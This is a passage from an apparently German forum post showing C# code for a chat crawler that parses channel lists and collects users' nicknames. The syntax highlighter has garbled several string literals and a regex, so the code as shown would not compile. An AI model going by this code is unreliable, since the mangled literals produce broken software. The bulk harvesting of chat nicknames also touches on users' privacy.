/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(</span><span style="color: #0000BB">token</span><span style="color: #007700">.</span><span style="color: #0000BB">StartsWith</span><span style="color: #007700">(</span><span style="color: #DD0000">"b\0"</span><span style="color: #007700">))<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">Console</span><span style="color: #007700">.</span><span style="color: #0000BB">WriteLine</span><span style="color: #007700">(</span><span style="color: #DD0000">"Parse&nbsp;ChannelList..."</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">channels&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">Parser</span><span style="color: #007700">.</span><span style="color: #0000BB">ParseChannelList</span><span style="color: #007700">(</span><span style="color: #0000BB">token</span><span style="color: #007700">);<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">Console</span><span style="color: #007700">.</span><span style="color: #0000BB">ForegroundColor&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">ConsoleColor</span><span style="color: #007700">.</span><span style="color: #0000BB">Cyan</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">Console</span><span style="color: #007700">.</span><span style="color: #0000BB">Write</span><span style="color: #007700">(</span><span style="color: #DD0000">"Geparsed,&nbsp;auf&nbsp;geht's!&nbsp;(Y)\n\n"</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">Console</span><span style="color: #007700">.</span><span style="color: #0000BB">ForegroundColor&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">ConsoleColor</span><span style="color: #007700">.</span><span style="color: #0000BB">Green</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;else&nbsp;if&nbsp;(</span><span style="color: #0000BB">token</span><span style="color: #007700">.</span><span style="color: #0000BB">StartsWith</span><span style="color: #007700">(</span><span style="color: #DD0000">"k\0"</span><span style="color: #007700">))<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">int&nbsp;channelCount&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">int</span><span style="color: #007700">.</span><span style="color: #0000BB">Parse</span><span style="color: #007700">(</span><span style="color: #0000BB">Regex</span><span style="color: #007700">.</span><span style="color: #0000BB">Match</span><span style="color: #007700">(</span><span style="color: #0000BB">token</span><span style="color: #007700">,&nbsp;</span><span style="color: #DD0000">"k\0&#91;^\\(&#93;+&nbsp;\\((\\d+)\\)"</span><span style="color: #007700">).</span><span style="color: #0000BB">Groups</span><span style="color: #007700">&#91;</span><span style="color: #0000BB">1</span><span style="color: #007700">&#93;.</span><span style="color: #0000BB">Value</span><span style="color: #007700">)&nbsp;-&nbsp;</span><span style="color: #0000BB">1</span><span style="color: #007700">;&nbsp;</span><span style="color: #FF8000">//&nbsp;James<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">Console</span><span style="color: #007700">.</span><span style="color: #0000BB">ForegroundColor&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">ConsoleColor</span><span style="color: #007700">.</span><span style="color: #0000BB">Yellow</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">string&nbsp;showString&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">String</span><span style="color: #007700">.Empty;<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">MatchCollection&nbsp;matches&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">Regex</span><span style="color: #007700">.</span><span style="color: #0000BB">Matches</span><span style="color: #007700">(</span><span style="color: #0000BB">token</span><span style="color: #007700">,&nbsp;</span><span style="color: #DD0000">"°&gt;_h(&#91;^\\|&#93;+)\\|/serverpp&nbsp;"</span><span style="color: #007700">\\|/</span><span style="color: #0000BB">w&nbsp;</span><span style="color: #DD0000">"&lt;°"</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;foreach&nbsp;(</span><span style="color: #0000BB">Match&nbsp;m&nbsp;in&nbsp;matches</span><span style="color: #007700">)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">string&nbsp;nick&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">m</span><span style="color: #007700">.</span><span style="color: #0000BB">Groups</span><span style="color: #007700">&#91;</span><span style="color: #0000BB">1</span><span style="color: #007700">&#93;.</span><span style="color: #0000BB">Value</span><span style="color: #007700">.</span><span style="color: #0000BB">Replace</span><span style="color: #007700">(</span><span style="color: #DD0000">"\",&nbsp;String.Empty);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(nick.Equals("</span><span style="color: #0000BB">James</span><span style="color: #DD0000">"))<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;continue;<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;crawledNicks.Add(nick);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;showString&nbsp;+=&nbsp;nick&nbsp;+&nbsp;"</span><span style="color: #007700">,&nbsp;</span><span style="color: #DD0000">";<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(showString&nbsp;!=&nbsp;String.Empty)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;showString&nbsp;=&nbsp;showString.Remove(showString.Length&nbsp;-&nbsp;2,&nbsp;2);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Console.Write("</span><span style="color: #007700">{</span><span style="color: #0000BB">0</span><span style="color: #007700">}&nbsp;({</span><span style="color: #0000BB">1</span><span style="color: #007700">}&nbsp;</span><span style="color: #0000BB">Nicks</span><span style="color: #007700">)\</span><span style="color: #0000BB">n</span><span style="color: #007700">\</span><span style="color: #0000BB">n</span><span style="color: #DD0000">",&nbsp;new&nbsp;object&#91;&#93;&nbsp;{&nbsp;showString,&nbsp;channelCount&nbsp;});<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Console.ForegroundColor&nbsp;=&nbsp;ConsoleColor.Green;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br />&nbsp;&nbsp;&nbsp;&nbsp;}<br />}&nbsp;<br /></span>
</span>
</code></code><hr />
</div>Parser.cs:<br />
<div class="bbcode_container">
	<div class="bbcode_description">PHP-Code:</div>
	<hr /><code class="bbcode_code"><code><span style="color: #000000">
<span style="color: #0000BB">using&nbsp;System</span><span style="color: #007700">;<br /></span><span style="color: #0000BB">using&nbsp;System</span><span style="color: #007700">.</span><span style="color: #0000BB">Collections</span><span style="color: #007700">.</span><span style="color: #0000BB">Generic</span><span style="color: #007700">;<br /></span><span style="color: #0000BB">using&nbsp;System</span><span style="color: #007700">.</span><span style="color: #0000BB">Linq</span><span style="color: #007700">;<br /></span><span style="color: #0000BB">using&nbsp;System</span><span style="color: #007700">.</span><span style="color: #0000BB">Text</span><span style="color: #007700">;<br /><br />namespace&nbsp;</span><span style="color: #0000BB">KCrawler<br /></span><span style="color: #007700">{<br />&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">internal&nbsp;</span><span style="color: #007700">class&nbsp;</span><span style="color: #0000BB">Parser<br />&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #007700">{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #FF8000">//&nbsp;Globale&nbsp;Variablen<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #007700">private&nbsp;static&nbsp;</span><span style="color: #0000BB">string&nbsp;ChannelName&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">String</span><span style="color: #007700">.Empty;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;private&nbsp;static&nbsp;</span><span style="color: #0000BB">int&nbsp;ChannelCount&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">2</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #FF8000">///&nbsp;&lt;summary&gt;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;///&nbsp;Erstellt&nbsp;eine&nbsp;ChannelList<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;///&nbsp;&lt;/summary&gt;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;///&nbsp;&lt;param&nbsp;name="input"&gt;Die&nbsp;Daten&nbsp;vom&nbsp;Server&nbsp;(b-Token)&lt;/param&gt;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;///&nbsp;&lt;returns&gt;ChannelList&lt;/returns&gt;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">internal&nbsp;</span><span style="color: #007700">static&nbsp;</span><span style="color: #0000BB">Channel</span><span style="color: #007700">&#91;&#93;&nbsp;</span><span style="color: #0000BB">ParseChannelList</span><span style="color: #007700">(</span><span style="color: #0000BB">string&nbsp;input</span><span style="color: #007700">)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #FF8000">//&nbsp;Splitte&nbsp;die&nbsp;Daten&nbsp;"-\0"<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">string</span><span style="color: #007700">&#91;&#93;&nbsp;</span><span style="color: #0000BB">channelListParameters&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">input</span><span style="color: #007700">.</span><span style="color: #0000BB">Split</span><span style="color: #007700">(new&nbsp;</span><span style="color: #0000BB">string</span><span style="color: #007700">&#91;&#93;&nbsp;{&nbsp;</span><span style="color: #DD0000">"-\0"&nbsp;</span><span style="color: #007700">},&nbsp;</span><span style="color: #0000BB">StringSplitOptions</span><span style="color: #007700">.</span><span style="color: #0000BB">RemoveEmptyEntries</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #FF8000">//&nbsp;Initalisiere&nbsp;eine&nbsp;neue&nbsp;Liste&nbsp;(Channel)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #007700">List&lt;</span><span style="color: #0000BB">Channel</span><span style="color: #007700">&gt;&nbsp;</span><span style="color: #0000BB">channelList&nbsp;</span><span style="color: #007700">=&nbsp;new&nbsp;List&lt;</span><span style="color: #0000BB">Channel</span><span style="color: #007700">&gt;();<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #FF8000">//&nbsp;Gehe&nbsp;jeden&nbsp;Eintrag&nbsp;durch<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #007700">foreach&nbsp;(</span><span style="color: #0000BB">string&nbsp;parameter&nbsp;in&nbsp;channelListParameters</span><span style="color: #007700">)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #FF8000">//&nbsp;Füge&nbsp;den&nbsp;Channel&nbsp;(ParseChannel&nbsp;gibt&nbsp;einen&nbsp;Channel&nbsp;zurück)&nbsp;in&nbsp;unsere&nbsp;List&nbsp;hinzu<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">channelList</span><span style="color: #007700">.</span><span style="color: #0000BB">Add</span><span style="color: #007700">(</span><span style="color: #0000BB">ParseChannel</span><span style="color: #007700">(</span><span style="color: #0000BB">parameter</span><span style="color: #007700">));<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #FF8000">//&nbsp;Gebe&nbsp;die&nbsp;Liste&nbsp;als&nbsp;Array&nbsp;zurück<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #007700">return&nbsp;</span><span style="color: #0000BB">channelList</span><span style="color: #007700">.</span><span style="color: #0000BB">ToArray</span><span style="color: #007700">();<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #FF8000">///&nbsp;&lt;summary&gt;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;///&nbsp;Erstellt&nbsp;einen&nbsp;Channel&nbsp;aus&nbsp;den&nbsp;dazugehörigen&nbsp;Parametern<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;///&nbsp;&lt;/summary&gt;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;///&nbsp;&lt;param&nbsp;name="parameters"&gt;Die&nbsp;Channelparameter&lt;/param&gt;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;///&nbsp;&lt;returns&gt;Channel&lt;/returns&gt;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #007700">private&nbsp;static&nbsp;</span><span style="color: #0000BB">Channel&nbsp;ParseChannel</span><span style="color: #007700">(</span><span style="color: #0000BB">string&nbsp;parameters</span><span style="color: #007700">)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #FF8000">//&nbsp;Falls&nbsp;die&nbsp;aktuelle&nbsp;Daten&nbsp;mit&nbsp;b\0&nbsp;anfangen&nbsp;(am&nbsp;Anfang:&nbsp;b\00-8-15...)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #007700">if&nbsp;(</span><span style="color: #0000BB">parameters</span><span style="color: #007700">.</span><span style="color: #0000BB">StartsWith</span><span style="color: #007700">(</span><span style="color: #DD0000">"b\0"</span><span style="color: #007700">))<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #FF8000">//&nbsp;entfernen<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">parameters&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">parameters</span><span style="color: #007700">.</span><span style="color: #0000BB">Replace</span><span style="color: #007700">(</span><span style="color: #DD0000">"b\0"</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">String</span><span style="color: #007700">.Empty);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #FF8000">//&nbsp;Wir&nbsp;splitten&nbsp;jetzt&nbsp;das&nbsp;\0<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">string</span><span style="color: #007700">&#91;&#93;&nbsp;</span><span style="color: #0000BB">channelParameters&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">parameters</span><span style="color: #007700">.</span><span style="color: #0000BB">Split</span><span style="color: #007700">(</span><span style="color: #DD0000">'\0'</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #FF8000">/*&nbsp;In&nbsp;der&nbsp;ersten&nbsp;Stelle&nbsp;im&nbsp;Array&nbsp;befindet&nbsp;sich&nbsp;der&nbsp;Channelname&nbsp;und&nbsp;die&nbsp;Anzahl&nbsp;der&nbsp;Chatter,&nbsp;getrennt&nbsp;durch&nbsp;"\n"<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;*&nbsp;Dann&nbsp;splitten&nbsp;wir&nbsp;das&nbsp;"\n"&nbsp;und&nbsp;die&nbsp;erste&nbsp;Stelle&nbsp;davon&nbsp;ist&nbsp;der&nbsp;Channelname<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;*/<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">string&nbsp;channelname&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">channelParameters</span><span style="color: #007700">&#91;</span><span style="color: #0000BB">0</span><span style="color: #007700">&#93;.</span><span style="color: #0000BB">Split</span><span style="color: #007700">(</span><span style="color: #DD0000">'\n'</span><span style="color: #007700">)&#91;</span><span style="color: #0000BB">0</span><span style="color: #007700">&#93;;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #FF8000">//&nbsp;Wenn&nbsp;der&nbsp;ChannelName&nbsp;"&nbsp;entspricht<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #007700">if&nbsp;(</span><span style="color: #0000BB">channelname&nbsp;</span><span style="color: #007700">==&nbsp;</span><span style="color: #DD0000">""")<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//&nbsp;Dann&nbsp;kriegt&nbsp;er&nbsp;den&nbsp;ursprünglichen&nbsp;Channelnamen&nbsp;und&nbsp;die&nbsp;Nummer<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;channelname&nbsp;=&nbsp;String.Format("</span><span style="color: #007700">{</span><span style="color: #0000BB">0</span><span style="color: #007700">}&nbsp;{</span><span style="color: #0000BB">1</span><span style="color: #007700">}</span><span style="color: #DD0000">",&nbsp;ChannelName,&nbsp;ChannelCount);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//&nbsp;erhöhe&nbsp;die&nbsp;Nummer&nbsp;um&nbsp;1<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;ChannelCount++;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//&nbsp;Wenn&nbsp;der&nbsp;ChannelName&nbsp;aber&nbsp;"&nbsp;</span><span style="color: #0000BB">enthält<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #007700">else&nbsp;if&nbsp;(</span><span style="color: #0000BB">channelname</span><span style="color: #007700">.</span><span style="color: #0000BB">Contains</span><span style="color: #007700">(</span><span style="color: #DD0000">"""))<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;/*&nbsp;Dann&nbsp;sieht&nbsp;es&nbsp;so&nbsp;aus:&nbsp;"</span><span style="color: #0000BB">5<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #007700">*&nbsp;</span><span style="color: #0000BB">Das&nbsp;</span><span style="color: #DD0000">"&nbsp;ersetzen&nbsp;wir,&nbsp;erhalten&nbsp;somit&nbsp;die&nbsp;Nummer&nbsp;und&nbsp;der&nbsp;ChannelName&nbsp;ist&nbsp;der&nbsp;ursprüngliche&nbsp;Name&nbsp;und&nbsp;die&nbsp;Nummer<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;*/<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;channelname&nbsp;=&nbsp;String.Format("</span><span style="color: #007700">{</span><span style="color: #0000BB">0</span><span style="color: #007700">}&nbsp;{</span><span style="color: #0000BB">1</span><span style="color: #007700">}</span><span style="color: #DD0000">",&nbsp;ChannelName,&nbsp;channelname.Replace("""</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">String</span><span style="color: #007700">.Empty));<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #FF8000">//&nbsp;Wenn&nbsp;es&nbsp;ein&nbsp;neuer&nbsp;Channel&nbsp;ist,&nbsp;der&nbsp;mit&nbsp;dem&nbsp;alten&nbsp;nichts&nbsp;zu&nbsp;tun&nbsp;hat<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #007700">else&nbsp;if&nbsp;(</span><span style="color: #0000BB">channelname&nbsp;</span><span style="color: #007700">!=&nbsp;</span><span style="color: #0000BB">ChannelName</span><span style="color: #007700">)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #FF8000">//&nbsp;Setze&nbsp;die&nbsp;Nummer&nbsp;auf&nbsp;den&nbsp;Standartwert<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">ChannelCount&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">2</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span 